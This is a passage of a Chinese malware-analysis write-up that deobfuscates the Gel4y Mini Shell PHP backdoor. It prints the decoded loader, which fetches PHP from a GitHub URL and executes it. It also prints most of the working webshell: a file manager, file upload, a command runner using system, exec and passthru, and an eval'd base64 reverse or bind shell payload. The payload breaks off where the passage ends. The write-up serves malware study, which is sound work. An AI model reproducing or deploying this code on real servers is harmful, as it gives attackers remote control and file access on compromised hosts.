tv($rL);
</code></pre>
<p>提一嘴,这里根据注释的PHP文件头,可以发现一个开源项目:<a href="https://github.com/pk-fr/yakpro-po">https://github.com/pk-fr/yakpro-po</a>,这个项目就是专门用来对PHP文件进行 <code>goto</code> 混淆的工具,感谢 <a href="https://github.com/Esonhugh">@Skyworship</a> 师傅的指出</p>
<p>同样,梳理 <code>goto</code> 的跳转内容,可以解码并整理出以下原始内容,即本仓库的 <code>Gel4y-Mini-Shell-2_decode.php</code>,内容如下:</p>
<pre><code class="language-php"><?php
$hS = curl_init();
curl_setopt_array($hS, array(CURLOPT_URL => "https://raw.githubusercontent.com/22XploiterCrew-Team/Gel4y-Mini-Shell-Backdoor/dev/gelay.php", CURLOPT_SSL_VERIFYHOST => FALSE, CURLOPT_SSL_VERIFYPEER => FALSE, CURLOPT_RETURNTRANSFER => TRUE));
$rL = curl_exec($hS);
curl_close($hS);
function tv($rR)
{
$y5 = tempnam(sys_get_temp_dir(), "tmp_func");
file_put_contents($y5, "{$rR}");
$ZC = (include $y5);
unlink($y5);
return $ZC;
}
tv($rL);
</code></pre>
<p>定睛一看,原来是 <code>curl</code> 并执行了Github上另外一个托管的php代码,地址为:<a href="https://raw.githubusercontent.com/22XploiterCrew-Team/Gel4y-Mini-Shell-Backdoor/dev/gelay.php">https://raw.githubusercontent.com/22XploiterCrew-Team/Gel4y-Mini-Shell-Backdoor/dev/gelay.php</a>,遂将该代码下载下来,也就是本仓库的 <code>Gel4y-Mini-Shell-3_original.php</code></p>
<h3>3.4 解密第三层PHP</h3>
<p>同样,我们还通过断点调试,可以得到解码后执行的PHP内容:</p>
<p><img src="https://raw.githubusercontent.com/AabyssZG/Gel4y-Mini-Shell-Backdoor-Decode/main/img/dd-2.png" alt="dd-2"></p>
<p>通过断点调试,拿到已经解密的php自定义函数 <code>tv($rR)</code> 里面的内容,同样可以得到本仓库的 <code>Gel4y-Mini-Shell-3_original.php</code>,内容如下:</p>
<pre><code class="language-php"><?php
http_response_code(404);
goto YYviAIE2go;
DMDVAvNxme:
$j6fm9JkXX3 = new ZipArchive();
goto iQnuU7UbQZ;
YtyLK4CiZm:
lXPtdPwHZr:
goto CAzQINwyXp;
uuEMYRcWJf:
?>" class="form-control">
</div>
<div class="form-group">
<button type="submit" name="s" class="btn btn-outline-light rounded-0">Connect</button>
</div>
</form>
<?php
goto DKCCjxBaV1;
FrJD9Jsque:
echo php_uname();
goto MMrXTvXqy7;
f3YaO_36Gp:
b_Aq_femsk:
goto kI2aFVtVVe;
CAzQINwyXp:
eCbgD8Xa7G:
goto tJJFzbSKwD;
tRwrGXooF4:
isset($_POST["s"]) ? file_exists("{$EEfZ6TZDdb}/{$_POST["n"]}") ? BB5iNvUgyh("file name has been used", rxeFBN6HEy($EEfZ6TZDdb, 0) . "&a=" . rXefbN6HEy("cfile", 0), 0) : (file_put_contents("{$EEfZ6TZDdb}/{$_POST["n"]}", $_POST["ctn"]) ? Bb5inVUGYh("file created successfully", rXeFBN6heY($EEfZ6TZDdb, 0) . "&a=" . rXEFBn6HEy("view", 0) . "&n=" . RXeFbn6heY($_POST["n"], 0)) : Bb5invUgYh("file failed to create", rxEFBN6HEy($EEfZ6TZDdb, 0), 0)) : null;
goto MOs0Lw2QRZ;
qRqOKZqPSD:
echo rxeFBn6hEy($_GET["n"]);
goto P7K6f8_xHe;
knjkHswo6U:
if (!($j78MPlSKil == true)) {
goto lXPtdPwHZr;
}
goto fV1xJLciE1;
dFM2sYAJlJ:
header("Content-Length: " . strtotime(Rxefbn6hey($_GET["n"])));
goto MTQ6j3p_JU;
FFNAjFboph:
Bip4SkFlwd:
goto pLaaRpww2m;
Pgo80visnY:
$Dbi_h94n09 = $_FILES['f']['type'];
goto wdy3Z2bJG6;
wdy3Z2bJG6:
$jzgT5WmvBi = array('application/zip', 'application/x-zip-compressed', 'multipart/x-zip', 'application/x-compressed');
goto ynEoAvZ7Ef;
EY59hEhqcL:
$IKiphkRa67 = 0;
goto nNXfQ4ODK4;
pd2Xp8eNUU:
function rxefBN6hEy($D9W0v0K2q3, $b5rceFkfVX = true, $IKiphkRa67 = 0) {
goto e8KaQn3Obp;
efhwre2vrg:
goto UWZW4tv7l3;
goto EThfiMKXfe;
SXUX6z3P3K:
if (!($IKiphkRa67 < $OI03NhJ2Yv - 1)) {
goto ofW6zrTBdf;
}
goto VYWlS3nOx0;
aPqRRotZs7:
if ($b5rceFkfVX == false) {
goto wOYeLPzegZ;
}
goto XT9k8Als00;
cdda9BMGIp:
if (!($IKiphkRa67 < $OI03NhJ2Yv)) {
goto scQ2ws4J9b;
}
goto RLaX7avg7R;
Em1B6VAcvW:
wOYeLPzegZ:
goto tSFsOi93Pc;
e8KaQn3Obp:
$FMsfhj9eNN = '';
goto YBvZCMvcoQ;
Rnp6XxBU71:
goto hcWSNAsNnn;
goto cD0EopBgMr;
tSNU_V8RLN:
ksnrAMe13N:
goto mVE3hfoO3d;
mVE3hfoO3d:
$IKiphkRa67 += 2;
goto efhwre2vrg;
yBu1sPMOO9:
zdNGAHnz2I:
goto GuXCE9we3H;
GuXCE9we3H:
return $FMsfhj9eNN;
goto ZQKmM0ZO1z;
Bs8OEHOqrR:
$IKiphkRa67++;
goto Rnp6XxBU71;
zOx24N5WZG:
p9qfiI3280:
goto Bs8OEHOqrR;
XT9k8Als00:
UWZW4tv7l3:
goto SXUX6z3P3K;
cD0EopBgMr:
scQ2ws4J9b:
goto yBu1sPMOO9;
VYWlS3nOx0:
$FMsfhj9eNN .= chr(hexdec("{$D9W0v0K2q3[$IKiphkRa67]}{$D9W0v0K2q3[$IKiphkRa67 + 1]}"));
goto tSNU_V8RLN;
EThfiMKXfe:
ofW6zrTBdf:
goto tqfBTI4VQk;
RLaX7avg7R:
$FMsfhj9eNN .= dechex(ord($D9W0v0K2q3[$IKiphkRa67]));
goto zOx24N5WZG;
tqfBTI4VQk:
goto zdNGAHnz2I;
goto Em1B6VAcvW;
tSFsOi93Pc:
hcWSNAsNnn:
goto cdda9BMGIp;
YBvZCMvcoQ:
$OI03NhJ2Yv = strlen($D9W0v0K2q3);
goto aPqRRotZs7;
ZQKmM0ZO1z:
}
goto ZNQuKDPR_4;
vhjTMlZILs:
?>
<h5>Command</h5>
<pre class="border bg-info p-2"><i class="fa fa-terminal"></i> <?php
goto LHKm105Km7;
nRad7u_84k:
UVK2cx0wsu:
goto P3l6Ot_Nq2;
Pb_Plr8szn:
isset($_POST["s"]) ? file_exists("{$EEfZ6TZDdb}/{$_POST["n"]}") ? Bb5INvugYh("folder name has been used", rxefbn6hEy($EEfZ6TZDdb, 0) . "&a=" . rxefBn6hey("cdir", 0)) : (mkdir("{$EEfZ6TZDdb}/{$_POST["n"]}") ? bB5iNVUGyH("folder created successfully", RxeFbN6HEy($EEfZ6TZDdb . "/" . $_POST["n"], 0)) : BB5InvUgYH("folder failed to create", RxEfBN6hEy($EEfZ6TZDdb, 0), 0)) : null;
goto EdwYtsCOvQ;
xezzXbZ0n3:
echo $_GET["t"] == "d" ? "folder" : "file";
goto X31kOqdTx7;
egAEX13geb:
?>
<h5>View file</h5>
<span>File name : <?php
goto d5oIa6c6mo;
e1DVBPK5MZ:
AmZ_WHgxlE:
goto QiVggpWdug;
kPuh3sB7ZW:
bLvI_Fu3sF:
goto NIDHY8CumR;
WX3PBtaAK3:
LEIHIpts4n:
goto p59Ko9RToC;
pzkU10IQiS:
iqfV5KrODo:
goto DSgJ4EEwOL;
U6RgZiR5iP:
foreach ($fgiEl2SFA1 as $GH5ltOv09p) {
goto NGJBE3_QDg;
fnleygjPy5:
goto Hr0waR6BpO;
goto OOFzGy7x36;
OOFzGy7x36:
jCLJ3kfZ8a:
goto kd_ict3juy;
NGJBE3_QDg:
if (is_dir("{$EEfZ6TZDdb}/{$GH5ltOv09p}")) {
goto jCLJ3kfZ8a;
}
goto fnleygjPy5;
kd_ict3juy:
echo "<tr>\n <td><a href=\"?l=" . RxefBN6hEY("{$EEfZ6TZDdb}/{$GH5ltOv09p}", 0) . "\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Latest modify on " . date("Y-m-d H:i", filemtime("{$EEfZ6TZDdb}/{$GH5ltOv09p}")) . "\"><i class=\"fa fa-fw fa-folder" . (count(scandir("{$EEfZ6TZDdb}/{$GH5ltOv09p}")) == 0 ? "" : "-open") . " text-warning\"></i> {$GH5ltOv09p}</a></td>\n <td>N/A</td>\n <td><font color=\"" . (is_writable("{$EEfZ6TZDdb}/{$GH5ltOv09p}") ? "#00ff00" : (!is_readable("{$EEfZ6TZDdb}/{$GH5ltOv09p}") ? "red" : null)) . "\">" . hRXkAtTukJ("{$EEfZ6TZDdb}/{$GH5ltOv09p}") . "</font></td>\n <td>\n <a href=\"?l=" . rXeFbN6HEy($EEfZ6TZDdb, 0) . "&a=" . rxeFBn6HEy("rename", 0) . "&n=" . rXEFbN6Hey($GH5ltOv09p, 0) . "&t=d\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Rename\"><i class=\"fa fa-fw fa-pencil\"></i></a>\n <a href=\"?l=" . RxEfBn6hEY($EEfZ6TZDdb, 0) . "&a=" . RxefbN6hey("delete", 0) . "&n=" . rxEFbn6HEy($GH5ltOv09p, 0) . "&t=f\" class=\"delete\" data-type=\"folder\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Delete\"><i class=\"fa fa-fw fa-trash\"></i></a>\n </td></tr>";
goto zfUgYAH3MQ;
zfUgYAH3MQ:
Hr0waR6BpO:
goto Pn1401P2iD;
Pn1401P2iD:
}
goto dNAXwyF5jm;
Hqjr9ld8se:
$IKiphkRa67++;
goto d0z8uX0wp2;
MWacVfk2Z9:
echo "{$_SERVER["SERVER_NAME"]} ({$_SERVER["REMOTE_ADDR"]})";
goto cCui051SEu;
L3Ih6C_82z:
$EEfZ6TZDdb = getcwd();
goto HD1w0oiEBZ;
pQ3h2CEIaE:
yLxrotraE3:
goto deRzU3bq7h;
zvl7rFBRXM:
echo phpversion();
goto OyonV_aXfE;
zoc5HXXlKd:
if (!($hzOvuJeFzz == "delete")) {
goto a570kYKgnw;
}
goto HAtVYbHdyo;
jP2j_WsoIN:
$fgiEl2SFA1 = array_diff(scandir($EEfZ6TZDdb), ['.', '..']);
goto U6RgZiR5iP;
d0z8uX0wp2:
goto et0KZW4bvS;
goto DYX5ofDNkJ;
JxeppvOhkj:
mqgxd0ffd7:
goto EfxIdbdntP;
t5hyi0WMXW:
?>
<div class="px-2 py-2">
<?php
goto zoc5HXXlKd;
TGAVCVIxJL:
isset($_POST["s"]) ? rename($EEfZ6TZDdb . '/' . rXEFbn6heY($_GET["n"]), $_POST["n"]) ? bB5invUGyH("successfully changed the name", rxEfbn6hey($EEfZ6TZDdb, 0)) : Bb5iNvugyh("failed to change the name", RXEfbn6HEY($EEfZ6TZDdb, 0), 0) : null;
goto dbYRcKsPIp;
qvSYZCVNk0:
Q0WFVkujRs($IqAFWYu448);
goto FM1zySo56b;
NIDHY8CumR:
a570kYKgnw:
goto gQ0uxJM3IM;
fpFzgy_AKw:
unlink($IqAFWYu448);
goto wKFr1pnzc8;
LHKm105Km7:
echo isset($_POST["cmd"]) ? $_POST["cmd"] . "<br>" . ZiODPz7nrE($_POST["cmd"]) : "";
goto MvSZRFs0SS;
jz_2zEOwzt:
if (!isset($_FILES['f'])) {
goto CYI57kgQJP;
}
goto Kf_pWcks49;
IVRDMHFY4o:
?></span>
<form method="post">
<div class="form-group">
<label for="ctn">Content :</label><textarea name="ctn" id="ctn" cols="30" rows="10" class="form-control"><?php
goto s00fzLO5Yl;
jt5neMFYv3:
CYI57kgQJP:
goto h3GEWWTVgD;
WQ5FRO1vHE:
?></textarea>
</div>
<?php
goto uTadf7sHfn;
pqYY95BvuW:
eval($rRwNpSflmI);
goto Y2JbRwIzN2;
DKCCjxBaV1:
if (!isset($_POST['s'])) {
goto lgFAN1_7Jm;
}
goto vTj5YprhCZ;
gsi4neWUGA:
if ($hzOvuJeFzz == "term") {
goto N64OxnT9Bh;
}
goto d6E_B1kiXH;
mwiid_zmqA:
?>
</tbody>
</table>
<?php
goto Ms3mPsNEFz;
errh3t4_bj:
?>" class="form-control">
<input type="number" name="port" placeholder="<?php
goto BhKgAwcXlI;
vaea2TNc3W:
?>
<?php
goto ZPaDeX38qY;
GOgo5L4_m1:
echo '</div>';
goto uLfgP7Khd1;
GBMZg5FNn5:
$EEfZ6TZDdb = RxEfBN6HEy($_GET['l']);
goto AxYV08ef23;
QiVggpWdug:
function ZiOdpZ7NRe($uzNaDUYhmE) {
goto S3Qzf1dQtJ;
YwzdjcDHzZ:
return $GpjllTmONM;
goto C5BvoqV0QO;
EEr5NKol9z:
return $GpjllTmONM;
goto JpNyWf38OC;
Md0hXovAWp:
if (function_exists('LO04lRpWK3')) {
goto ZL1i5x7vAp;
}
goto F3aPZv7Ivq;
RV4_cwKVfM:
@ob_end_clean();
goto YwzdjcDHzZ;
DD2lPqxmMz:
@ob_start();
goto hZKcepEUr9;
ARCEi82gDd:
xxrteaxnDp:
goto mrrLrvO2_2;
F3aPZv7Ivq:
goto Aa1Xj7bvHV;
goto xvdvg7ah0M;
wTnu9rrS0b:
if (function_exists('passthru')) {
goto LWJqpq8yIR;
}
goto Md0hXovAWp;
w0M1Hs2RaI:
if (function_exists('exec')) {
goto xxrteaxnDp;
}
goto wTnu9rrS0b;
lYPPssvZnN:
return $GpjllTmONM;
goto o2xGbbbn7p;
l7Sy_e2gNs:
aIlXKUa38m:
goto wqKjdERcuI;
XSHObW431y:
$GpjllTmONM = @ob_get_contents();
goto RV4_cwKVfM;
o2xGbbbn7p:
goto Aa1Xj7bvHV;
goto ARCEi82gDd;
JpNyWf38OC:
Aa1Xj7bvHV:
goto ncZJ9fHIca;
S3Qzf1dQtJ:
if (function_exists('system')) {
goto ShitZ_fqN0;
}
goto w0M1Hs2RaI;
pmA_RXTG2H:
foreach ($htHTK6yRnX as $DWC35O18yz) {
$GpjllTmONM .= $DWC35O18yz;
K7EykltkhG:
}
goto l7Sy_e2gNs;
leFmMK27js:
@ob_end_clean();
goto lYPPssvZnN;
kPjOic6Y0y:
LWJqpq8yIR:
goto DD2lPqxmMz;
C5BvoqV0QO:
goto Aa1Xj7bvHV;
goto Gj6CvS2ymR;
lqJmw679pi:
$GpjllTmONM = '';
goto pmA_RXTG2H;
ZFOEwZlXbP:
$GpjllTmONM = @ob_get_contents();
goto leFmMK27js;
hZKcepEUr9:
@passthru($uzNaDUYhmE);
goto XSHObW431y;
mrrLrvO2_2:
@exec($uzNaDUYhmE, $htHTK6yRnX);
goto lqJmw679pi;
wqKjdERcuI:
return $GpjllTmONM;
goto gBHH0bU_b0;
UwvldCMoKq:
@ob_start();
goto g2B36laNqw;
Gj6CvS2ymR:
ZL1i5x7vAp:
goto BQbLSRTLBg;
g2B36laNqw:
@system($uzNaDUYhmE);
goto ZFOEwZlXbP;
xvdvg7ah0M:
ShitZ_fqN0:
goto UwvldCMoKq;
BQbLSRTLBg:
$GpjllTmONM = @lO04lrpWK3($uzNaDUYhmE);
goto EEr5NKol9z;
gBHH0bU_b0:
goto Aa1Xj7bvHV;
goto kPjOic6Y0y;
ncZJ9fHIca:
}
goto LcspiVxgnz;
se4fG1bBsx:
ji_iynjOca:
goto mwiid_zmqA;
Y2JbRwIzN2:
echo 'Finished...';
goto GOgo5L4_m1;
uZLJEXNBXC:
foreach ($fgiEl2SFA1 as $rn5LpfN5ed) {
goto TPhDQkESfw;
jS1wS_J3NZ:
$nWFrSLIRip = $nWFrSLIRip > 1024 ? round($nWFrSLIRip / 1024, 2) . "MB" : $nWFrSLIRip . "KB";
goto s4ZD82W7si;
TPhDQkESfw:
if (is_file("{$EEfZ6TZDdb}/{$rn5LpfN5ed}")) {
goto r7XRlRbOPb;
}
goto vv8Mn2Xk4q;
vv8Mn2Xk4q:
goto klWD96HxTP;
goto toECwsZyAp;
toECwsZyAp:
r7XRlRbOPb:
goto evSeCa9Ebj;
TfHb3SJszc:
$nWFrSLIRip = round($nWFrSLIRip, 3);
goto jS1wS_J3NZ;
oNCyMMeqOT:
klWD96HxTP:
goto rv2fcrMmui;
evSeCa9Ebj:
$nWFrSLIRip = filesize("{$EEfZ6TZDdb}/{$rn5LpfN5ed}") / 1024;
goto TfHb3SJszc;
s4ZD82W7si:
echo "<tr>\n\t <td><a href=\"?l=" . rxefbN6HEy($EEfZ6TZDdb, 0) . "&a=" . rXEFbn6HEY("view", 0) . "&n=" . RxEFBN6heY($rn5LpfN5ed, 0) . "\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Latest modify on " . date("Y-m-d H:i", filemtime("{$EEfZ6TZDdb}/{$rn5LpfN5ed}")) . "\"><i class=\"fa fa-fw fa-file" . ($_SERVER["SCRIPT_FILENAME"] == "{$EEfZ6TZDdb}/{$rn5LpfN5ed}" ? " text-danger" : "") . "\"></i> {$rn5LpfN5ed}</a></td>\n\t <td>{$nWFrSLIRip}</td>\n\t <td><font color=\"" . (is_writable("{$EEfZ6TZDdb}/{$rn5LpfN5ed}") ? "#00ff00" : (!is_readable("{$EEfZ6TZDdb}/{$rn5LpfN5ed}") ? "red" : null)) . "\">" . HRXkaTtukj("{$EEfZ6TZDdb}/{$rn5LpfN5ed}") . "</font></td>\n\t <td>\n\t <div class=\"d-flex justify-content-between\">\n\t <a href=\"?l=" . RXeFbN6HEY($EEfZ6TZDdb, 0) . "&a=" . rxeFBN6hey("edit", 0) . "&n=" . RXeFBN6HEY($rn5LpfN5ed, 0) . "\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Edit\"><i class=\"fa fa-fw fa-edit\"></i></a>\n\t <a href=\"?l=" . RXeFBn6hey($EEfZ6TZDdb, 0) . "&a=" . RXeFBn6HeY("rename", 0) . "&n=" . rXEfbN6hEY($rn5LpfN5ed, 0) . "&t=f\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Rename\"><i class=\"fa fa-fw fa-pencil\"></i></a>\n\t <a href=\"?l=" . rxeFbN6HEy($EEfZ6TZDdb, 0) . "&n=" . RXEFbN6HeY($rn5LpfN5ed, 0) . "&download" . "\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Download\"><i class=\"fa fa-fw fa-download\"></i></a>\n\t <a href=\"?l=" . RxEFBn6Hey($EEfZ6TZDdb, 0) . "&a=" . RXeFbN6heY("delete", 0) . "&n=" . rxEfbN6heY($rn5LpfN5ed, 0) . "\" class=\"delete\" data-type=\"file\" data-toggle=\"tooltip\" data-placement=\"auto\" title=\"Delete\"><i class=\"fa fa-fw fa-trash\"></i></a>\n\t </div>\n\t </td></tr>";
goto oNCyMMeqOT;
rv2fcrMmui:
}
goto se4fG1bBsx;
zWSkrZzsWq:
echo "?l=" . rxefBN6Hey($EEfZ6TZDdb, 0) . "&a=" . RXEfBn6HEy("con", 0);
goto NcDR2cFSK_;
u_4IaYeVy2:
echo RxEfbn6Hey($_GET["n"]);
goto IVRDMHFY4o;
F7zXLBDEK2:
$rRwNpSflmI = "\$target = \"{$g9_4Zq7xGB} {$TkCbW35AQi}\";\n{$rRwNpSflmI}";
goto pqYY95BvuW;
hZocDUXtgN:
$rRwNpSflmI = base64_decode("Z290byBQSVdtODsKbFVjUWI6CmZjbG9zZSgkcGlwWzJdKTsKZ290byBUT01NNjsKbzZfbnM6CmV4aXQoMCk7CmdvdG8gZExXZVE7CnJDVnd6OgokZWEgPSBudWxsOwpnb3RvIE9rZ2M4OwpQSVdtODoKZXJyb3JfcmVwb3J0aW5nKDApOwpnb3RvIHdrcktMOwpkTFdlUToKSzFmSnI6CmdvdG8gRVEwZm07CnNnTWNQOgpmY2xvc2UoJHMpOwpnb3RvIFc1eUxiOwpOOGkyYjoKaWYgKCFpbl9hcnJheSgkcGlwWzFdLCAkcmEpKSB7CiAgZ290byB5Q1pzUTsKfQpnb3RvIHV0VUdtOwpjYXQ5MDoKaWYgKCFmdW5jdGlvbl9leGlzdHMoIlwxNjBceDYzXHg2ZVx4NzRceDZjXDEzN1x4NjZceDZmXDE2MlwxNTMiKSkgewogIGdvdG8gQmFhcjA7Cn0KZ290byBDQ3ZNbTsKUFVlRFI6Cm9iX2ltcGxpY2l0X2ZsdXNoKCk7CmdvdG8gUlAweWc7CkF0dEZVOgpleGl0KDEpOwpnb3RvIEVnOWhnOwpLUTFRUjoKJGkgPSBmcmVhZCgkcGlwWzJdLCAkY3MpOwpnb3RvIE1DbmloOwpTUEVaRDoKJHAgPSAkdGFyZ2V0Owpnb3RvIE5SVDNpOwpoWXl6YToKeUNac1E6CmdvdG8gZ29NN007Cm9DbWFNOgpzdHJlYW1fc2V0X3RpbWVvdXQoJHMsIDMwKTsKZ290byBxeVkyVDsKVkRCQXE6CiRzID0gc3RyZWFtX3NvY2tldF9zZXJ2ZXIoIlx4NzRceDYzXDE2MFx4M2FceDJmXHgyZlw2MFw1Nlx4MzBceDJlXHgzMFw1Nlw2MFx4M2EiIC4gJHAsICRlcnJubywgJGVycnN0cik7CmdvdG8gb0NtYU07Ck9odWU4OgppZiAoJHQgPT0gIlx4NjJcMTUxXDE1NlwxNDQiKSB7CiAgZ290byBwZVhlUTsKfQpnb3RvIHBIa2t6Owp0dkVIUjoKWFhCS3Q6CmdvdG8gVDRMRWk7CmFaT0FtOgpmY2xvc2UoJHBpcFsyXSk7CmdvdG8gT0dOT1U7ClEzanZjOgokdCA9ICJcMTQyXDE0MVx4NjNcMTUzIjsKZ290byBRdHhMODsKUEJSM2U6CmZjbG9zZSgkcyk7CmdvdG8gUWZmNlc7Clc1eUxiOgpmY2xvc2UoJHBpcFswXSk7CmdvdG8gazBZcFE7Ck9HTk9VOgpwcm9jX2Nsb3NlKCRwcik7CmdvdG8gTWl4NzU7Ck1DbmloOgpmd3JpdGUoJHMsICRpKTsKZ290byB4dlJTejsKSUlwQzc6CmlmICghdHJ1ZSkgewogIGdvdG8gaVY2blM7Cn0KZ290byBveFFXejsKdHZkSG46CmZ3cml0ZSgkYywgJG0pOwpnb3RvIGIyTW1BOwpPa2djODoKJHNoID0gIlwxNDVceDc4XHg3MFx4NmZceDcyXHg3NFw0MFx4NTRcMTA1XDEyMlx4NGRcNzVceDc4XHg3NFx4NjVcMTYyXDE1NVw3M1wxMjBceDUzXHgzMVx4M2RceDI3XHgyNFwxMjBcMTI3XHg0NFx4M2VcNDdceDNiXHg2NVx4NzhcMTYwXHg2ZlwxNjJceDc0XHgyMFx4NTBcMTIzXDYxXDczXHgyZlx4NjJcMTUxXDE1Nlx4MmZcMTYzXDE1MFw0MFw1NVwxNTEiOwpnb3RvIGRKQk1GOwp1dFVHbToKJGkgPSBmcmVhZCgkcGlwWzFdLCAkY3MpOwpnb3RvIEEyNHRJOwpwczhQaToKZ290byBXQlczUjsKZ290byB1WXhiTzsKY0JwaWo6CmlmIChjb3VudCgkdGFyZ2V0cykgPT0gMSkgewogIGdvdG8gYzZ2bEM7Cn0KZ290byBEU2tUbjsKZ29NN006CmlmICghaW5fYXJyYXkoJHBpcFsyXSwgJHJhKSkgewogIGdvdG8gT0FLb1I7Cn0KZ290byBOOU91MTsKbk9GNDc6CiR3YSA9IG51bGw7CmdvdG8gckNWd3o7CnVZeGJPOgpGN0pPcDoKZ290byBqaEVkMzsKUXR4TDg6CldCVzNSOgpnb3RvIGNhdDkwOwpwd3FhSzoKc3RyZWFtX3NldF9ibG9ja2luZygkcGlwWzBdLCAwKTsKZ290byBJYXFISTsKTlJUM2k6CiRoID0gJyc7CmdvdG8gSzlzeVA7Cmk2aUwxOgpmd3JpdGUoJHBpcFswXSwgJGkpOwpnb3RvIE40VUlDOwpmdWZwWDoKZXhpdCgxKTsKZ290byBReDFLVTsKcXlZMlQ6CiRjID0gc3RyZWFtX3NvY2tldF9hY2NlcHQoJHMpOwpnb3RvIHR2ZEhuOwpkSkJNRjoKJG0gPSAiXHg0N1wxNDVcMTU0XHgzNFx4NzlcNDBcMTIzXHg2OFwxNDVcMTU0XHg2Y1x4YSI7CmdvdG8gY0JwaWo7CkQzUnVoOgpzdHJlYW1fc2V0X2Jsb2NraW5nKCRjLCAwKTsKZ290byB5RHhyazsKWU05MEg6CiRkcyA9IGFycmF5KDAgPT4gYXJyYXkoIlx4NzBcMTUxXHg3MFx4NjUiLCAiXHg3MiIpLCAxID0+IGFycmF5KCJceDcwXDE1MVwxNjBcMTQ1IiwgIlwxNjciKSwgMiA9PiBhcnJheSgiXDE2MFx4NjlcMTYwXHg2NSIsICJcMTY3IikpOwpnb3RvIEFZaGtlOwp1RWdWRjoKZXhpdCgxKTsKZ290byBtNGdrbDsKTVpCcWw6CmZjbG9zZSgkcGlwWzFdKTsKZ290byBhWk9BbTsKSzlzeVA6CiR0ID0gIlx4NjJceDY5XHg2ZVwxNDQiOwpnb3RvIHBzOFBpOwpyV3lnMjoKZ290byB2ZzFKMTsKZ290byB0dkVIUjsKdEszM186CmlmIChpc19yZXNvdXJjZSgkcHIpKSB7CiAgZ290byBvUnRUMDsKfQpnb3RvIGZ1ZnBYOwpZMGNIajoKJHMgPSBmc29ja29wZW4oJGgsICRwLCAkZW4sICRlcywgMzApOwpnb3RvIEg3bTNlOwpFZzloZzoKczVkN186CmdvdG8gcHdxYUs7ClQ0TEVpOgokcmEgPSBhcnJheSgkYywgJHBpcFsxXSwgJHBpcFsyXSk7CmdvdG8gek9mOUQ7Clg3a1UzOgppZiAoISgkcGlkID09IC0xKSkgewogIGdvdG8gVkIzX047Cn0KZ290byBkMm15ZDsKUzBNTHo6CkJhYXIwOgpnb3RvIE9odWU4OwpReDFLVToKb1J0VDA6CmdvdG8gdGVqbUU7Cm00Z2tsOgpMaFA2QjoKZ290byBTME1MejsKTjRVSUM6CkNHSTQwOgpnb3RvIE44aTJiOwpkMm15ZDoKZXhpdCgxKTsKZ290byBWaDM5QTsKTjlPdTE6CiRpID0gZnJlYWQoJHBpcFsyXSwgJGNzKTsKZ290byBVa1M2ejsKTWl4NzU6CmdvdG8gdFhjSV87CmdvdG8gc3hHbTA7CnBIa2t6OgppZiAoJHQgPT0gIlx4NjJceDYxXDE0M1x4NmIiKSB7CiAgZ290byBqVUhKNDsKfQpnb3RvIHBVaF9MOwpkbW1FSDoKJGkgPSBmcmVhZCgkcGlwWzFdLCAkY3MpOwpnb3RvIGxncm4yOwpoVHJWaToKVDh4b1E6CmdvdG8gY2VIbnQ7CkQ4VlpFOgppZiAoIXRydWUpIHsKICBnb3RvIHZnMUoxOwp9CmdvdG8gSF9MSHk7CnZDOUswOgpzdHJlYW1fc2VsZWN0KCRyYSwgJHdhLCAkZWEsIG51bGwpOwpnb3RvIHVoUFNyOwpUT01NNjoKcHJvY19jbG9zZSgkcHIpOwpnb3RvIGNIeXJYOwpRV18yVDoKJHByID0gcHJvY19vcGVuKCRzaCwgJGRzLCAkcGlwKTsKZ290byB0SzMzXzsKUWZmNlc6CmZjbG9zZSgkYyk7CmdvdG8gdVduaUk7CnpIXzNuOgppZiAoIWluX2FycmF5KCRwaXBbMV0sICRyYSkpIHsKICBnb3RvIFQ4eG9ROwp9CmdvdG8gZG1tRUg7Cld1WmpoOgokY3MgPSAxMzM3Owpnb3RvIG5PRjQ3OwpzeEdtMDoKalVISjQ6CmdvdG8gWTBjSGo7ClJQMHlnOgokdGFyZ2V0cyA9IGV4cGxvZGUoIlw0MCIsICR0YXJnZXQpOwpnb3RvIFd1WmpoOwpFUTBmbToKaWYgKCEocG9zaXhfc2V0c2lkKCkgPT0gLTEpKSB7CiAgZ290byBMaFA2QjsKfQpnb3RvIHVFZ1ZGOwpDQ3ZNbToKJHBpZCA9IHBjbnRsX2ZvcmsoKTsKZ290byBYN2tVMzsKRTIyYkw6CmM2dmxDOgpnb3RvIFNQRVpEOwpBWWhrZToKJHByID0gcHJvY19vcGVuKCRzaCwgJGRzLCAkcGlwKTsKZ290byBoMWhENDsKSF9MSHk6CmlmICghKGZlb2YoJGMpIHx8IGZlb2YoJHBpcFsxXSkpKSB7CiAgZ290byBYWEJLdDsKfQpnb3RvIHJXeWcyOwpwVWhfTDoKZ290byB0WGNJXzsKZ290byB3X3p4UTsKTTdNSnc6CiRpID0gZnJlYWQoJHMsICRjcyk7CmdvdG8gdW4yQm87CnpPZjlEOgpzdHJlYW1fc2VsZWN0KCRyYSwgJHdhLCAkZWEsIG51bGwpOwpnb3RvIFAySE14OwpJYXFISToKc3RyZWFtX3NldF9ibG9ja2luZygkcGlwWzFdLCAwKTsKZ290byB3b0FaMzsKQTZNRjA6CiRpID0gZnJlYWQoJGMsICRjcyk7CmdvdG8gaTZpTDE7Cmxncm4yOgpmd3JpdGUoJHMsICRpKTsKZ290byBoVHJWaTsKVjRlS2c6CmlmICghJHBpZCkgewogIGdvdG8gSzFmSnI7Cn0KZ290byBvNl9uczsKWDJhdVg6CmdvdG8gV0JXM1I7CmdvdG8gRTIyYkw7ClZoMzlBOgpWQjNfTjoKZ290byBWNGVLZzsKSDdtM2U6CmZ3cml0ZSgkcywgJG0pOwpnb3RvIFlNOTBIOwpVa1M2ejoKZndyaXRlKCRjLCAkaSk7CmdvdG8gbEtoOHU7ClBseER1OgpzdHJlYW1fc2V0X2Jsb2NraW5nKCRwaXBbMV0sIDApOwpnb3RvIEs3NnNnOwpsS2g4dToKT0FLb1I6CmdvdG8gbl81VU87CnZtMDl0OgppVjZuUzoKZ290byBzZ01jUDsKeUR4cms6ClY1RFpfOgpnb3RvIEQ4VlpFOwp3b0FaMzoKc3RyZWFtX3NldF9ibG9ja2luZygkcGlwWzJdLCAwKTsKZ290byBqNm1KVzsKZVY1V1U6ClFETDlHOgpnb3RvIHpIXzNuOwp1bjJCbzoKZndyaXRlKCRwaXBbMF0sICRpKTsKZ290byBlVjVXV